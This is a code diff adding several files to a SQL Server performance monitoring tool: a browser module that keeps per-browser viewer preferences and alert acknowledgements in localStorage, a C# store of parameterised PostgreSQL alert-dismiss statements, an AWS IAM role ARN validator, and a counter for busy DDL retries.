new file mode 100644
index 0000000000..e263188678
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/viewer-local.js
@@ -0,0 +1,411 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * The desktop viewer's per-machine conveniences (#4843), kept per BROWSER in localStorage: favourite servers,
+ * alert acknowledgements, the alert-count badge that respects them, the per-severity colours and the collapsed
+ * sidebar and the sidebar's tag grouping, and the server page's database filter (#5245). Nothing here reaches the store: like the desktop's own per-PC files, a favourite or an acknowledgement
+ * does not follow a user to another browser or machine, and an acknowledgement quiets only this browser's badge
+ * (alert delivery is untouched).
+ *
+ * Storage discipline: every key is namespaced under "darling.local." and carries a version, so a later shape can
+ * change without misreading an old value. A stored value that is absent, corrupt, from another version or hand-edited
+ * reads as the default and never throws; the page still works. Only server ids, instants, booleans and #rrggbb
+ * literals are stored - never a name, a connection string or a token. The one exception is the database filter: it IS a
+ * set of database names per server (the reads filter by name, and the store has no stable database id). They are names the
+ * page already shows, and they leave the browser only as the reads' own `database_name` parameter.
+ *
+ * The live state is held at module scope (the 60 s poll rebuilds the sidebar and the fleet page); localStorage is
+ * the durable copy, read once at load and rewritten on every change.
+ *
+ * Pure: no imports and no DOM, so the rules run under Node with a stubbed Storage (setStorage).
+ */
+
+export const KEY_FAVORITES = "darling.local.favorites.v1";
+export const KEY_ACKS = "darling.local.acks.v1";
+export const KEY_SEVERITY_COLORS = "darling.local.severityColors.v1";
+export const KEY_SIDEBAR = "darling.local.sidebar.v1";
+export const KEY_DB_FILTER = "darling.local.dbFilter.v1";
+const VERSION = 1;
+const MAX_IDS = 5000;
+
+/** The database filter's bounds (#5245): the web route refuses more than 50 names, a name over 128 characters (sysname), or an
+ *  encoded `database_name` query part over 4,096 bytes, so the page never stores or sends a set it would refuse. */
+export const MAX_DB_NAMES = 50;
+export const MAX_DB_NAME_LENGTH = 128;
+export const MAX_DB_QUERY_BYTES = 4096;
+const DB_PAIR_OVERHEAD = "&database_name=".length;
+
+/** The severities with a colour choice, in the order the settings list them, and the palette each falls back to. */
+export const SEVERITIES = ["critical", "warning", "info"];
+export const DEFAULT_SEVERITY_COLORS = { critical: "#e57373", warning: "#ffd54f", info: "#a8aeba" };
+const HEX = /^#[0-9a-fA-F]{6}$/;
+
+let storage = null;
+try {
+  storage = typeof localStorage === "undefined" ? null : localStorage;
+} catch {
+  storage = null;
+}
+
+let favorites = new Set();
+let acks = new Map(); // server_id -> epoch ms of the acknowledgement
+let colors = {}; // severity -> "#rrggbb" (only valid choices)
+let sidebarCollapsed = false;
+let sidebarGrouped = false;
+let dbFilters = new Map(); // server_id -> the chosen database names (1 to MAX_DB_NAMES, kept exactly as chosen)
+let sidebarGroups = new Set(); // collapsed sidebar groups: tag ids, plus the fixed ids "favourites" and "untagged"
+let attention = new Map(); // server_id -> { count, critical, latestMs } from the last alert read
+const listeners = new Set();
+
+function readJson(key) {
+  try {
+    const raw = storage && storage.getItem(key);
+    if (typeof raw !== "string") return null;
+    const v = JSON.parse(raw);
+    return v && typeof v === "object" && !Array.isArray(v) && v.v === VERSION ? v : null;
+  } catch {
+    return null;
+  }
+}
+
+function writeJson(key, value) {
+  try {
+    if (storage) storage.setItem(key, JSON.stringify({ v: VERSION, ...value }));
+  } catch {
+    /* private mode or a full quota: the choice holds for this page load only */
+  }
+}
+
+function isServerId(n) {
+  return Number.isSafeInteger(n) && n > 0;
+}
+
+/** The fixed sidebar group ids that are not tags. */
+const FIXED_GROUPS = ["favourites", "untagged"];
+
+function isGroupId(g) {
+  return isServerId(g) || FIXED_GROUPS.includes(g);
+}
+
+/** Re-reads every value from storage (the page load, and the tests' stand-in for a rebuilt page). */
+export function reload() {
+  const f = readJson(KEY_FAVORITES);
+  favorites = new Set(f && Array.isArray(f.ids) ? f.ids.filter(isServerId).slice(0, MAX_IDS) : []);
+
+  acks = new Map();
+  const a = readJson(KEY_ACKS);
+  if (a && a.acks && typeof a.acks === "object" && !Array.isArray(a.acks)) {
+    for (const [k, t] of Object.entries(a.acks)) {
+      const id = /^\d{1,9}$/.test(k) ? Number(k) : NaN;
+      if (isServerId(id) && typeof t === "number" && Number.isFinite(t) && t > 0 && acks.size < MAX_IDS) acks.set(id, t);
+    }
+  }
+
+  colors = {};
+  const c = readJson(KEY_SEVERITY_COLORS);
+  if (c && c.colors && typeof c.colors === "object" && !Array.isArray(c.colors)) {
+    for (const sev of SEVERITIES) {
+      const v = c.colors[sev];
+      if (typeof v === "string" && HEX.test(v)) colors[sev] = v.toLowerCase();
+    }
+  }
+
+  dbFilters = new Map();
+  const d = readJson(KEY_DB_FILTER);
+  if (d && d.servers && typeof d.servers === "object" && !Array.isArray(d.servers)) {
+    for (const [k, names] of Object.entries(d.servers)) {
+      const id = /^\d{1,9}$/.test(k) ? Number(k) : NaN;
+      const kept = isServerId(id) && dbFilters.size < MAX_IDS ? cleanDatabaseNames(names) : null;
+      if (kept) dbFilters.set(id, kept);
+    }
+  }
+
+  const s = readJson(KEY_SIDEBAR);
+  sidebarCollapsed = !!(s && s.collapsed === true);
+  sidebarGrouped = !!(s && s.grouped === true);
+  sidebarGroups = new Set(s && Array.isArray(s.collapsedGroups) ? s.collapsedGroups.filter(isGroupId).slice(0, MAX_IDS) : []);
+}
+
+/** Test seam: replaces the Storage and re-reads. */
+export function setStorage(s) {
+  storage = s;
+  attention = new Map();
+  reload();
+}
+
+export function onChange(fn) {
+  listeners.add(fn);
+}
+
+function changed() {
+  for (const fn of listeners) {
+    try {
+      fn();
+    } catch {
+      /* one listener's failure must not stop the others */
+    }
+  }
+}
+
+/* ─────────────────────────── favourites ─────────────────────────── */
+
+export function isFavorite(serverId) {
+  return favorites.has(serverId);
+}
+
+export function toggleFavorite(serverId) {
+  if (!isServerId(serverId)) return false;
+  if (favorites.has(serverId)) favorites.delete(serverId);
+  else if (favorites.size < MAX_IDS) favorites.add(serverId);
+  writeJson(KEY_FAVORITES, { ids: [...favorites] });
+  changed();
+  return favorites.has(serverId);
+}
+
+/** Wraps a card comparator so favourites sort ahead of everything else, the comparator ordering each side. */
+export function favoritesFirst(cmp) {
+  return (a, b) => (isFavorite(b.server_id) ? 1 : 0) - (isFavorite(a.server_id) ? 1 : 0) || cmp(a, b);
+}
+
+/* ─────────────────────────── database filter ─────────────────────────── */
+
+/** The bytes one chosen database adds to the query string: `&database_name=` plus the encoded name. */
+export function databaseQueryBytes(name) {
+  return DB_PAIR_OVERHEAD + encodeURIComponent(name).length;
+}
+
+/**
+ * The characters .NET's `char.IsWhiteSpace` counts, which is what the service's `string.IsNullOrWhiteSpace` (DatabaseFilter's
+ * one blank-name rule) tests: U+0009 to U+000D, space, U+0085, U+00A0, U+1680, U+2000 to U+200A, U+2028, U+2029, U+202F,
+ * U+205F and U+3000. Written out rather than `trim()` or `\s`, because JavaScript's set differs on two characters: it counts
+ * U+FEFF (byte order mark) and not U+0085 (next line). A name the page kept that the service then dropped (or the reverse)
+ * would make the chip count differ from the read.
+ */
+const BLANK_NAME = /^[\t-\r \u0085\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000]*$/;
+
+/** True for text that is empty or only whitespace by the service's rule (see BLANK_NAME). */
+export function isBlankDatabaseName(name) {
+  return BLANK_NAME.test(name);
+}
+
+/** A name the filter can hold: text, not blank, at most 128 characters. It is never trimmed or case-folded. */
+export function isDatabaseName(name) {
+  return typeof name === "string" && !isBlankDatabaseName(name) && name.length <= MAX_DB_NAME_LENGTH;
+}
+
+/** Whether `names` (de-duplicated, valid) fits both bounds: at most 50 names and at most 4,096 encoded query bytes. */
+export function databaseSetFits(names) {
+  if (names.length > MAX_DB_NAMES) return false;
+  let bytes = 0;
+  for (const n of names) bytes += databaseQueryBytes(n);
+  return bytes <= MAX_DB_QUERY_BYTES;
+}
+
+/** A stored or offered list as a clean set: valid names only, de-duplicated (ordinal, order kept). A list over a bound is
+ *  null, never a truncated set (a truncated filter would quietly show other databases than the reader chose). */
+function cleanDatabaseNames(names) {
+  if (!Array.isArray(names) || names.length > MAX_DB_NAMES * 2) return null;
+  const seen = new Set();
+  const out = [];
+  for (const n of names) {
+    if (isDatabaseName(n) && !seen.has(n)) {
+      seen.add(n);
+      out.push(n);
+    }
+  }
+  return out.length > 0 && databaseSetFits(out) ? out : null;
+}
+
+/** The databases chosen for a server, as a new array, or [] for none (all databases). */
+export function getDatabaseFilter(serverId) {
+  const names = dbFilters.get(serverId);
+  return names ? names.slice() : [];
+}
+
+/** Stores the exact set chosen for a server. An empty (or absent) list clears it. A set over a bound is refused (returns
+ *  false) and changes nothing. Returns true when the set was taken. */
+export function setDatabaseFilter(serverId, names) {
+  if (!isServerId(serverId)) return false;
+  const empty = !Array.isArray(names) || names.length === 0;
+  const kept = empty ? null : cleanDatabaseNames(names);
+  if (!empty && !kept) return false;
+  if (kept) {
+    if (!dbFilters.has(serverId) && dbFilters.size >= MAX_IDS) return false;
+    dbFilters.set(serverId, kept);
+  } else {
+    dbFilters.delete(serverId);
+  }
+  const servers = {};
+  for (const [id, list] of dbFilters) servers[id] = list;
+  writeJson(KEY_DB_FILTER, { servers });
+  return true;
+}
+
+/* ─────────────────────────── alert count and acknowledgement ─────────────────────────── */
+
+/** The instant of a stored alert_time in epoch ms. The store's instants are naive UTC, so a value with no zone is read as UTC. */
+export function alertMs(value) {
+  if (typeof value !== "string") return NaN;
+  return Date.parse(/(Z|[+-]\d\d:?\d\d)$/.test(value) ? value : value + "Z");
+}
+
+/**
+ * Per-server attention from a get_alert_history page: the actionable rows only. A muted row (a mute rule suppressed
+ * it) and a resolution row (good news) never count, the desktop badge's own rule.
+ */
+export function summarizeAlerts(rows) {
+  const out = new Map();
+  for (const r of Array.isArray(rows) ? rows : []) {
+    if (!r || !isServerId(r.server_id) || r.muted === true || r.severity === "resolution" || r.dismissed === true) continue;
+    const t = alertMs(r.alert_time);
+    const s = out.get(r.server_id) || { count: 0, critical: false, latestMs: 0 };
+    s.count++;
+    if (r.severity === "critical") s.critical = true;
+    if (Number.isFinite(t) && t > s.latestMs) s.latestMs = t;
+    out.set(r.server_id, s);
+  }
+  return out;
+}
+
+/** Applies a fresh alert read: an acknowledgement is cleared by an alert newer than it (ack-until-worse). */
+export function updateAttention(rows) {
+  attention = summarizeAlerts(rows);
+  let cleared = false;
+  for (const [id, ackMs] of [...acks]) {
+    const s = attention.get(id);
+    if (s && s.latestMs > ackMs) {
+      acks.delete(id);
+      cleared = true;
+    }
+  }
+  if (cleared) persistAcks();
+  changed();
+}
+
+/** What a server's badge shows: { count, critical, show } - show is false while acknowledged or with nothing to show. */
+export function attentionFor(serverId) {
+  const s = attention.get(serverId);
+  if (!s) return { count: 0, critical: false, show: false };
+  return { count: s.count, critical: s.critical, show: s.count > 0 && !acks.has(serverId) };
+}
+
+export function isAcknowledged(serverId) {
+  return acks.has(serverId);
+}
+
+function persistAcks() {
+  const obj = {};
+  for (const [id, t] of acks) obj[String(id)] = t;
+  writeJson(KEY_ACKS, { acks: obj });
+}
+
+export function acknowledge(serverId, nowMs = Date.now()) {
+  if (!isServerId(serverId)) return;
+  acks.set(serverId, nowMs);
+  persistAcks();
+  changed();
+}
+
+const ATTENTION_TTL_MS = 30000;
+let attentionRead = null;
+let attentionReadAt = 0;
+
+/**
+ * Refreshes the badge counts with ONE get_alert_history read for the whole fleet. Callers within the TTL share the
+ * one request, so the sidebar poll and the fleet page cost the store one read per tick, not one each. A failed read
+ * leaves the last counts in place.
+ */
+export function refreshAttention(readTool, now = Date.now()) {
+  if (attentionRead && now - attentionReadAt < ATTENTION_TTL_MS) return attentionRead;
+  attentionReadAt = now;
+  attentionRead = Promise.resolve(readTool("get_alert_history", { hours_back: 24, limit: 1000 }))
+    .then((res) => {
+      if (res && res.kind === "data" && res.data && Array.isArray(res.data.alerts)) updateAttention(res.data.alerts);
+    })
+    .catch(() => {
+      attentionReadAt = 0;
+    });
+  return attentionRead;
+}
+
+/* ─────────────────────────── severity colours ─────────────────────────── */
+
+/** The stored choice for a severity, or null for the palette default. Always a #rrggbb literal when not null. */
+export function severityColor(severity) {
+  return Object.prototype.hasOwnProperty.call(colors, severity) ? colors[severity] : null;
+}
+
+/** Sets one severity's colour. Anything but a #rrggbb literal clears the choice (the palette default). */
+export function setSeverityColor(severity, value) {
+  if (!SEVERITIES.includes(severity)) return;
+  if (typeof value === "string" && HEX.test(value)) colors[severity] = value.toLowerCase();
+  else delete colors[severity];
+  writeJson(KEY_SEVERITY_COLORS, { colors });
+  changed();
+}
+
+export function resetSeverityColors() {
+  colors = {};
+  writeJson(KEY_SEVERITY_COLORS, { colors });
+  changed();
+}
+
+/** Puts the choices on a style declaration as --sev-* custom properties; a severity with no choice is removed. */
+export function applySeverityColors(style) {
+  if (!style || typeof style.setProperty !== "function" || typeof style.removeProperty !== "function") return;
+  for (const sev of SEVERITIES) {
+    const v = severityColor(sev);
+    if (v) style.setProperty("--sev-" + sev, v);
+    else style.removeProperty("--sev-" + sev);
+  }
+}
+
+/* ─────────────────────────── sidebar ─────────────────────────── */
+
+export function isSidebarCollapsed() {
+  return sidebarCollapsed;
+}
+
+export function setSidebarCollapsed(collapsed) {
+  sidebarCollapsed = collapsed === true;
+  writeSidebar();
+  changed();
+}
+
+/** One writer for the sidebar key, so a change to one field never drops the others. */
+function writeSidebar() {
+  writeJson(KEY_SIDEBAR, { collapsed: sidebarCollapsed, grouped: sidebarGrouped, collapsedGroups: [...sidebarGroups] });
+}
+
+/** Whether the sidebar lists servers grouped by tag (false: the flat list). */
+export function isSidebarGrouped() {
+  return sidebarGrouped;
+}
+
+export function setSidebarGrouped(grouped) {
+  sidebarGrouped = grouped === true;
+  writeSidebar();
+  changed();
+}
+
+/** Whether a sidebar group (a tag id, "favourites" or "untagged") is collapsed. */
+export function isSidebarGroupCollapsed(id) {
+  return sidebarGroups.has(id);
+}
+
+/** Collapses or expands one sidebar group; an id that is neither a tag id nor a fixed group id is ignored. */
+export function toggleSidebarGroup(id) {
+  if (!isGroupId(id)) return;
+  if (sidebarGroups.has(id)) sidebarGroups.delete(id);
+  else if (sidebarGroups.size < MAX_IDS) sidebarGroups.add(id);
+  writeSidebar();
+  changed();
+}
+
+reload();
diff --git a/Darling/PerformanceMonitor.Darling.Storage/AlertDismissStore.cs b/Darling/PerformanceMonitor.Darling.Storage/AlertDismissStore.cs
new file mode 100644
index 0000000000..d498bf237d
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/AlertDismissStore.cs
@@ -0,0 +1,159 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>One alert row's identity: the (alert_time, server_id, metric_name) triple the dismiss writes key on.</summary>
+public readonly record struct AlertDismissKey(DateTime AlertTime, int ServerId, string MetricName);
+
+/// <summary>What a keyed dismiss did. <see cref="Requested"/> counts distinct keys; <see cref="Known"/> is how
+/// many of them name an alert row that exists (dismissed or not); <see cref="Dismissed"/> is the rows the
+/// UPDATE changed.</summary>
+public readonly record struct AlertDismissOutcome(int Requested, int Known, int Dismissed);
+
+/// <summary>
+/// The one copy of the alert-dismiss write: the Viewer's Dismiss Selected / Dismiss All and the web
+/// dashboard's dismiss route both run these statements.
+///
+/// <para>Each UPDATE sets exactly one column, <c>config_alert_log.dismissed</c>, and no other. That is the
+/// whole write surface the <c>viewer</c> role's column-level grant covers
+/// (<c>GRANT UPDATE (dismissed) ON config.config_alert_log TO viewer</c>), so a change that makes one of these
+/// statements set a second column fails 42501 for the web host until the grant in
+/// <c>DarlingManagedRoles</c> and <c>tools/provision-roles.sql</c> grows with it.</para>
+///
+/// <para>The commands carry the caller's deadline and are returned unexecuted so each surface keeps its own
+/// error translation (the Viewer turns a 42501 into its read-only message).</para>
+/// </summary>
+public static class AlertDismissStore
+{
+    /// <summary>
+    /// Dismiss the given rows by (alert_time, server_id, metric_name). One set-based UPDATE keyed off
+    /// unnested arrays (so the whole batch dismisses in a single round-trip). Already-dismissed rows are
+    /// left alone by the <c>dismissed = FALSE</c> guard.
+    /// </summary>
+    public const string DismissAlertsSql = @"
+UPDATE config_alert_log
+SET    dismissed = TRUE
+WHERE  dismissed = FALSE
+AND    (alert_time, server_id, metric_name) IN (
+    SELECT t.alert_time, t.server_id, t.metric_name
+    FROM   unnest($1::timestamp[], $2::integer[], $3::text[]) AS t(alert_time, server_id, metric_name)
+)";
+
+    /// <summary>Dismiss all visible rows in the window across every server. $1 window start.</summary>
+    public const string DismissAllAlertsSql = @"
+UPDATE config_alert_log
+SET    dismissed = TRUE
+WHERE  alert_time >= $1
+AND    dismissed = FALSE";
+
+    /// <summary>Dismiss all visible rows in the window for one server. $1 window start, $2 server_id.</summary>
+    public const string DismissAllAlertsForServerSql = @"
+UPDATE config_alert_log
+SET    dismissed = TRUE
+WHERE  alert_time >= $1
+AND    server_id = $2
+AND    dismissed = FALSE";
+
+    /// <summary>How many of the distinct keys name an alert row that exists, dismissed or not. Same
+    /// parameters as <see cref="DismissAlertsSql"/>.</summary>
+    public const string CountKnownKeysSql = @"
+SELECT count(*)::integer
+FROM   (SELECT DISTINCT t.alert_time, t.server_id, t.metric_name
+        FROM   unnest($1::timestamp[], $2::integer[], $3::text[]) AS t(alert_time, server_id, metric_name)) k
+WHERE  EXISTS (SELECT 1 FROM config_alert_log a
+               WHERE  a.alert_time = k.alert_time AND a.server_id = k.server_id AND a.metric_name = k.metric_name)";
+
+    /// <summary>The keyed dismiss command (<see cref="DismissAlertsSql"/>) over parallel key arrays.</summary>
+    public static NpgsqlCommand CreateDismissCommand(
+        NpgsqlDataSource dataSource, IReadOnlyList<AlertDismissKey> keys, int timeoutSeconds)
+    {
+        ArgumentNullException.ThrowIfNull(dataSource);
+        var command = dataSource.CreateCommand(DismissAlertsSql);
+        command.CommandTimeout = timeoutSeconds;
+        BindKeys(command, keys);
+        return command;
+    }
+
+    /// <summary>The window dismiss command: every visible row since <paramref name="sinceUtc"/>, scoped to one
+    /// server when <paramref name="serverId"/> is set.</summary>
+    public static NpgsqlCommand CreateDismissAllCommand(
+        NpgsqlDataSource dataSource, DateTime sinceUtc, int? serverId, int timeoutSeconds)
+    {
+        ArgumentNullException.ThrowIfNull(dataSource);
+        var command = dataSource.CreateCommand(serverId.HasValue ? DismissAllAlertsForServerSql : DismissAllAlertsSql);
+        command.CommandTimeout = timeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<DateTime>
+        {
+            TypedValue = DateTime.SpecifyKind(sinceUtc, DateTimeKind.Unspecified),
+        });
+        if (serverId.HasValue)
+        {
+            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId.Value });
+        }
+
+        return command;
+    }
+
+    /// <summary>
+    /// Dismisses the keyed rows and reports how many keys were unknown. The known-key count and the UPDATE are
+    /// two statements without a transaction on purpose: the count only labels the response, and a row that
+    /// appears or vanishes between them changes a count, never a write.
+    /// </summary>
+    public static async Task<AlertDismissOutcome> DismissKeysAsync(
+        NpgsqlDataSource dataSource, IReadOnlyList<AlertDismissKey> keys, int timeoutSeconds,
+        CancellationToken cancellationToken = default)
+    {
+        ArgumentNullException.ThrowIfNull(keys);
+        if (keys.Count == 0)
+        {
+            return new AlertDismissOutcome(0, 0, 0);
+        }
+
+        var distinct = new HashSet<AlertDismissKey>(keys).Count;
+
+        int known;
+        await using (var count = dataSource.CreateCommand(CountKnownKeysSql))
+        {
+            count.CommandTimeout = timeoutSeconds;
+            BindKeys(count, keys);
+            known = Convert.ToInt32(await count.ExecuteScalarAsync(cancellationToken), System.Globalization.CultureInfo.InvariantCulture);
+        }
+
+        int dismissed;
+        await using (var update = CreateDismissCommand(dataSource, keys, timeoutSeconds))
+        {
+            dismissed = await update.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        return new AlertDismissOutcome(distinct, known, dismissed);
+    }
+
+    private static void BindKeys(NpgsqlCommand command, IReadOnlyList<AlertDismissKey> keys)
+    {
+        var times = new DateTime[keys.Count];
+        var ids = new int[keys.Count];
+        var metrics = new string[keys.Count];
+        for (var i = 0; i < keys.Count; i++)
+        {
+            times[i] = DateTime.SpecifyKind(keys[i].AlertTime, DateTimeKind.Unspecified);
+            ids[i] = keys[i].ServerId;
+            metrics[i] = keys[i].MetricName;
+        }
+
+        command.Parameters.Add(new NpgsqlParameter { Value = times });
+        command.Parameters.Add(new NpgsqlParameter { Value = ids });
+        command.Parameters.Add(new NpgsqlParameter { Value = metrics });
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/AwsRoleSettings.cs b/Darling/PerformanceMonitor.Darling.Storage/AwsRoleSettings.cs
new file mode 100644
index 0000000000..ec662f5f1d
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/AwsRoleSettings.cs
@@ -0,0 +1,170 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.RegularExpressions;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// The rules for the per-server AWS role (#5452): which IAM role Darling assumes to reach an Amazon RDS or Aurora
+/// target, and the optional external ID that goes with it. One validator for every surface that takes the two
+/// values (darling.json, the MCP and web edit paths, the desktop viewer), so they cannot disagree. The store's
+/// <c>config_monitored_servers_aws_role_check</c> is a coarser backstop for a blind write; the exact rules live
+/// here.
+///
+/// <para>Both values are trimmed, and a blank value is "not set" (<see cref="Normalize"/>). The patterns are ASCII
+/// only, with no <c>\w</c>: in .NET <c>\w</c> matches Unicode letters, and AWS does not.</para>
+/// </summary>
+public static class AwsRoleSettings
+{
+    /// <summary>Shortest and longest role ARN accepted, in characters.</summary>
+    public const int RoleArnMinLength = 20;
+
+    /// <summary>The longest a role ARN may be.</summary>
+    public const int RoleArnMaxLength = 2048;
+
+    /// <summary>The longest IAM role path, slashes included.</summary>
+    public const int RolePathMaxLength = 512;
+
+    /// <summary>The longest IAM role name.</summary>
+    public const int RoleNameMaxLength = 64;
+
+    /// <summary>The shortest external ID AWS accepts.</summary>
+    public const int ExternalIdMinLength = 2;
+
+    /// <summary>The longest external ID AWS accepts.</summary>
+    public const int ExternalIdMaxLength = 1224;
+
+    /// <summary>The role ARN is malformed.</summary>
+    public const string InvalidRoleMessage =
+        "The AWS role must be an IAM role ARN, such as arn:aws:iam::123456789012:role/darling-monitor.";
+
+    /// <summary>The external ID is malformed.</summary>
+    public const string InvalidExternalIdMessage =
+        "The external ID must be 2 to 1224 characters: letters, digits and _ + = , . @ : / - with no spaces.";
+
+    /// <summary>An external ID was given with no role.</summary>
+    public const string ExternalIdNeedsRoleMessage =
+        "An external ID needs an AWS role ARN. Set the role, or clear the external ID.";
+
+    /// <summary>A role was given for a target that is not PostgreSQL.</summary>
+    public const string RoleNeedsPostgresMessage =
+        "An AWS role applies only to a PostgreSQL target on Amazon RDS or Aurora.";
+
+    /// <summary>The role changed while a stored external ID would have stayed with it unseen.</summary>
+    public const string RoleChangeNeedsExternalIdMessage =
+        "Changing the AWS role needs the external ID with it: send the external ID again, or clear it.";
+
+    private static readonly Regex RoleArnPattern = new(
+        @"^arn:aws(?:-[a-z]+)*:iam::[0-9]{12}:role/(?<rest>.+)\z",
+        RegexOptions.CultureInvariant | RegexOptions.ExplicitCapture, TimeSpan.FromSeconds(1));
+
+    private static readonly Regex RoleNamePattern = new(
+        @"^[A-Za-z0-9_+=,.@-]{1,64}\z",
+        RegexOptions.CultureInvariant, TimeSpan.FromSeconds(1));
+
+    private static readonly Regex PathSegmentPattern = new(
+        @"^[A-Za-z0-9_+=,.@-]+\z",
+        RegexOptions.CultureInvariant, TimeSpan.FromSeconds(1));
+
+    private static readonly Regex ExternalIdPattern = new(
+        @"^[A-Za-z0-9_+=,.@:/-]{2,1224}\z",
+        RegexOptions.CultureInvariant, TimeSpan.FromSeconds(1));
+
+    /// <summary>Trims a value, and turns a blank one into null ("not set").</summary>
+    public static string? Normalize(string? value)
+    {
+        var trimmed = value?.Trim();
+        return string.IsNullOrEmpty(trimmed) ? null : trimmed;
+    }
+
+    /// <summary>
+    /// The error text for a malformed role ARN, or null when it is fine or not set. Pass a value already through
+    /// <see cref="Normalize"/>. Accepts an IAM role in the <c>aws</c> partition or an <c>aws-*</c> one (China,
+    /// GovCloud), with an optional path.
+    /// </summary>
+    public static string? ValidateRole(string? role)
+    {
+        if (role is null)
+        {
+            return null;
+        }
+
+        if (role.Length < RoleArnMinLength || role.Length > RoleArnMaxLength)
+        {
+            return InvalidRoleMessage;
+        }
+
+        var match = RoleArnPattern.Match(role);
+        if (!match.Success)
+        {
+            return InvalidRoleMessage;
+        }
+
+        // role/<path segments>/<name>: the last piece is the name, any earlier ones are the path.
+        var parts = match.Groups["rest"].Value.Split('/');
+        if (!RoleNamePattern.IsMatch(parts[^1]))
+        {
+            return InvalidRoleMessage;
+        }
+
+        var pathLength = 0;
+        for (var i = 0; i < parts.Length - 1; i++)
+        {
+            if (!PathSegmentPattern.IsMatch(parts[i]))
+            {
+                return InvalidRoleMessage;
+            }
+
+            pathLength += parts[i].Length + 1;
+        }
+
+        if (pathLength > 0 && pathLength + 1 > RolePathMaxLength)
+        {
+            return InvalidRoleMessage;
+        }
+
+        return null;
+    }
+
+    /// <summary>The error text for a malformed external ID, or null when it is fine or not set.</summary>
+    public static string? ValidateExternalId(string? externalId)
+    {
+        if (externalId is null)
+        {
+            return null;
+        }
+
+        return ExternalIdPattern.IsMatch(externalId) ? null : InvalidExternalIdMessage;
+    }
+
+    /// <summary>
+    /// The first error in a role and external ID pair, or null when the pair is fine: each value's own format,
+    /// then an external ID with no role. Pass values already through <see cref="Normalize"/>.
+    /// </summary>
+    public static string? ValidatePair(string? role, string? externalId)
+    {
+        return ValidateRole(role)
+            ?? ValidateExternalId(externalId)
+            ?? (externalId is not null && role is null ? ExternalIdNeedsRoleMessage : null);
+    }
+
+    /// <summary>
+    /// True when an edit changes the role to a new one while the target has an external ID stored and the edit
+    /// sent none: the old ID would silently become the new role's, so the caller has to say what it wants. A
+    /// cleared role, an unchanged role and a target with no stored ID never need one.
+    /// </summary>
+    public static bool RoleChangeNeedsExternalId(string? oldRole, string? newRole, bool externalIdStored, bool externalIdSent)
+    {
+        return newRole is not null
+            && !string.Equals(oldRole, newRole, StringComparison.Ordinal)
+            && externalIdStored
+            && !externalIdSent;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/BoundedDdlBusyStreaks.cs b/Darling/PerformanceMonitor.Darling.Storage/BoundedDdlBusyStreaks.cs
new file mode 100644
index 0000000000..1e20602ed8
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/BoundedDdlBusyStreaks.cs
@@ -0,0 +1,90 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// Counts, per object, how many bounded DDL attempts in a row found the table held by another session. One busy
+/// pass is routine; the same object busy every pass means its settings never converge, and that has to be
+/// visible above Information. Pure and thread-safe: no I/O, no clock of its own.
+/// </summary>
+internal sealed class BoundedDdlBusyStreaks
+{
+    /// <summary>Consecutive busy results on one object at which <see cref="RecordBusy"/> reports an escalation.</summary>
+    internal const int EscalateAfter = 3;
+
+    private readonly object _gate = new();
+    private readonly Dictionary<string, Streak> _streaks = new(StringComparer.Ordinal);
+
+    private sealed class Streak
+    {
+        public int Count;
+        public DateTime FirstBusyUtc;
+        public bool Escalated;
+    }
+
+    /// <summary>
+    /// Records one busy result for <paramref name="key"/>. Returns true exactly once per streak, on the call that
+    /// brings it to <see cref="EscalateAfter"/>; the streak's length and first busy time come back through the
+    /// out parameters.
+    /// </summary>
+    internal bool RecordBusy(string key, DateTime utcNow, out int passes, out DateTime firstBusyUtc)
+    {
+        lock (_gate)
+        {
+            if (!_streaks.TryGetValue(key, out var streak))
+            {
+                streak = new Streak { FirstBusyUtc = utcNow };
+                _streaks[key] = streak;
+            }
+
+            streak.Count++;
+            passes = streak.Count;
+            firstBusyUtc = streak.FirstBusyUtc;
+            if (streak.Count == EscalateAfter)
+            {
+                streak.Escalated = true;
+                return true;
+            }
+
+            return false;
+        }
+    }
+
+    /// <summary>
+    /// Clears the streak for <paramref name="key"/> after an Applied or Failed result. Returns true when the
+    /// streak had escalated, so the caller can say the object converged; the passes it was busy come back in
+    /// <paramref name="busyPasses"/>.
+    /// </summary>
+    internal bool Clear(string key, out int busyPasses)
+    {
+        lock (_gate)
+        {
+            if (_streaks.Remove(key, out var streak))
+            {
+                busyPasses = streak.Count;
+                return streak.Escalated;
+            }
+
+            busyPasses = 0;
+            return false;
+        }
+    }
+
+    /// <summary>Forgets every streak.</summary>
+    internal void Reset()
+    {
+        lock (_gate)
+        {
+            _streaks.Clear();
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/CollectedDatabases.cs b/Darling/PerformanceMonitor.Darling.Storage/CollectedDatabases.cs
new file mode 100644
index 0000000000..4acc627e66
--- /dev/null
